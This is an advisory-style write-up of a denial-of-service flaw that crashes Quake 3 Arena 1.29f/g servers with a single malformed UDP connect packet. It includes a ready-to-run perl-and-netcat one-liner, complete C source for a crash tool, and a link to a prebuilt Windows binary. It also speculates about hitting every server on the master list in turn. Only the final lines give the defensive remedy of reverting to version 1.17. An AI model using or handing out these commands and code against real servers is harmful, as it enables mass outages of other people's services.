COMMAND
Quake
SYSTEMS AFFECTED
Quake 3 Arena 1.29f/g
PROBLEM
"The Tree of Life" found following. There exists a very large
hole in Quake 3 Arena, version 1.29f and 1.29g (the latest, 1.29g
which got released just under a week ago).
The hole is not fixable in any way by the user, and most of the
servers that are up (thousands of them) are vulnerable. To have
this hole fixed, a PR (point release) will have to be given to
the public by iD Software.
As a result of a previous Q30wnerz-discovered vulnerability, iD
Software had to redesign the protocol, closing up the previous
vulnerability.
However, people have discovered a new one which segment faults
the servers cleanly (it gives back the memory it had taken
before, which is a lot since Quake 3 is a memory hog). If the
server is logging, it will segment fault before it has a chance
to append it to the log file.
The exploitation occurs when initiated a connect sequence at the
server's port, and sending the following:
connectre
Those four Y's with the dots on them are char(255)'s.
The server at this point will die, and will remain down until the
process has been restarted.
The Linux version for this (one server at a time):
perl -wle 'printf("%c%c%c%c%s",255,255,255,255,"connectre")' | nc -u 1.1.1.1 27960
Replace 1.1.1.1 with the server's ip.
The Windows binary version can be downloaded at:
http://www.gamenet.nu/cheats
At this point, our proof of concept binary only supports one
server at a time. That means it will only allow the user to
demonstrate on one server.
One can only imagine how this will carry out if someone else took
it in their hands to cull the master list and sequentially try it
(it only takes a few nanoseconds to send the offending string).
/* This is a 1.29f and 1.29g Server Exploit for id software's Quake3: Arena.
Basically this connects to the default port 27960 of a server and sends a udp
packet with a string of Char(255) four times plus connectre, all as one word.
This is a working linux version, simple enough to use: ./fuq3 <hostname>
I am no way going to continue to work on this it works its done. Its proven.
So here is the bare minimum. Thanks to ttol and his information this was achieved.
There is also a working hack that can be done with netcat, basically you use netcat
with the -u (UDP option) connect to the host, and then you send the string.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#define PORTNUMBER 27960 /* change this value to the port desired */
main (argc, argv)
int argc;
char *argv[];
{
int socketDesc;
struct sockaddr_in destinationAddr;
struct hostent *hostAddrPtr;
char *msgBufPtr = "˙˙˙˙connectre";
if ((socketDesc = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
perror("open error on socket");
exit(1);
}
if ((hostAddrPtr = gethostbyname(argv[1])) == 0) {
printf("Could not get address of %s\n",argv[1]);
exit(1);
}
destinationAddr.sin_family = AF_INET;
memcpy((char *) &destinationAddr.sin_addr.s_addr,
(char *) hostAddrPtr->h_addr, hostAddrPtr-> h_length);
destinationAddr.sin_port = htons(PORTNUMBER);
/* send message to socket */
if (sendto(socketDesc, msgBufPtr, strlen(msgBufPtr)+1, 0,
(struct sockaddr *)&destinationAddr, sizeof(destinationAddr)) < 0) {
perror("socket send error");
exit(1);
}
printf("Seg Fault on %s...\n",argv[1]);
}
SOLUTION
iD Software at this point has not released a working Point
Release that prevents this. A quick way to ensure that your
server will be up is to revert back to 1.17.